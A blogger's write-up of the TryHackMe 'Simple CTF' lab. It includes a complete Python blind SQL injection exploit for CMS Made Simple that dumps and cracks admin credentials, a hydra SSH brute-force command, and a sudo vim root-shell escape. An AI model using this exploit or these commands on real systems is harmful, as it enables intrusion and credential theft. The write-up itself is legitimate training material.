Simple CTF writeup [thm]
Beginner level ctf
Simple CTF is yet another challenge from THM.
How many services are running under port 1000?
$: nmap --open -p 0-1000 $target
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http
What is running on the higher port?
$: nmap --open $target
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 2222/tcp open EtherNetIP-1
What is EtherNetIP-1?
EtherNet/IP (IP = Industrial Protocol) is an industrial network protocol that adapts the Common Industrial Protocol (CIP) to standard Ethernet - Wikipedia
Upon closer inspection:
$: nmap -A -p 2222 $target
Nmap scan report for $target
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds
We see that it's just a SSH server.
What's the CVE you're using against the application?
I did this part last. See comments down in the conclusion section.
If we run gobuster against the target:
$: gobuster dir -u $target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
We find the following page:
/simple (Status: 301) [Size: 313] [--> http://$target/simple/]
Going to http://$target/simple in a web browser we find an instance of CMS Made Simple running.
By searching in the The Exploit Database for CMS Made Simple we find this SQL Injection.
The above linked exploit contains the CVE number we want and a Python script:
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : [REDACTED]
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()
To get this to work I had to manually install termcolor for Python2. I really didn't feel like editing the script just to remove all of the beautifying going on.
To execute the script, run:
$: python2 exploit.py -u http://$target/simple --crack -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: [REDACTED]
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: [REDACTED]
What's the password?
It's secret and I'm not going to tell you.
Where can you login with the details obtained?
Obviously, it's SSH.
What's the user flag?
$: ssh -p 2222 [REDACTED]@$target
$: /bin/bash # get a proper shell
$: cat user.txt
Is there any other user in the home directory? What's its name?
$: ls ..
What can you leverage to spawn a privileged shell?
Woo-hoo! It's time for privilege escalation, the most fun part of any challenge.
Let's see what programs we are allowed to run as root but first make sure we have a proper shell:
$: /bin/bash
Then:
$: sudo -l
User [REDACTED] may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
Oh nice, Vim, my favorite text editor, how convenient!
... [Vim] can be used to break out from restricted environments by spawning an interactive system shell. - GTFOBins
We execute the following simple one-liner:
$: sudo vim -c ':!/bin/sh'
$: whoami
root
$: cd /root
$: ls
root.txt
$: cat root.txt
[REDACTED]
We made it!
Conclusion
This challenge got a bit weird for me because I didn't solve it in the indented (?) way. First I investigated the FTP server and found a note:
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!
The title of the note suggested a possible username so I ran hydra on the SSH server:
$: hydra -V -s 2222 -l [REDACTED] -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt $target -t 4 ssh
[ATTEMPT] target $target - login "[REDACTED]" - pass "[REDACTED]" - 92 of 110 [child 1] (0/0)
[2222][ssh] host: $target login: [REDACTED] password: [REDACTED]
1 of 1 target successfully completed, 1 valid password found
I got a shell before I exploited CMSMS which made things a bit weird when I had to backtrack and find the CVE number. Not a big deal but it kind of ruined the "flow" of the challenge for me.
I think Simple CTF was a bit too simple anyway so no harm done. This was the first challenge where I just applied various techniques without learning anything or getting stuck somewhere along the line. I guess that's progress. I should probably try to challenge myself more by trying some slightly harder rooms and continuing working on the Offensive Pentesting path.
Tools used:
- Nmap
- Gobuster
- Exploit-db
- CMS Made Simple < 2.2.10 - SQL Injection
- Python2
- Hydra
- GTFOBins
- Vim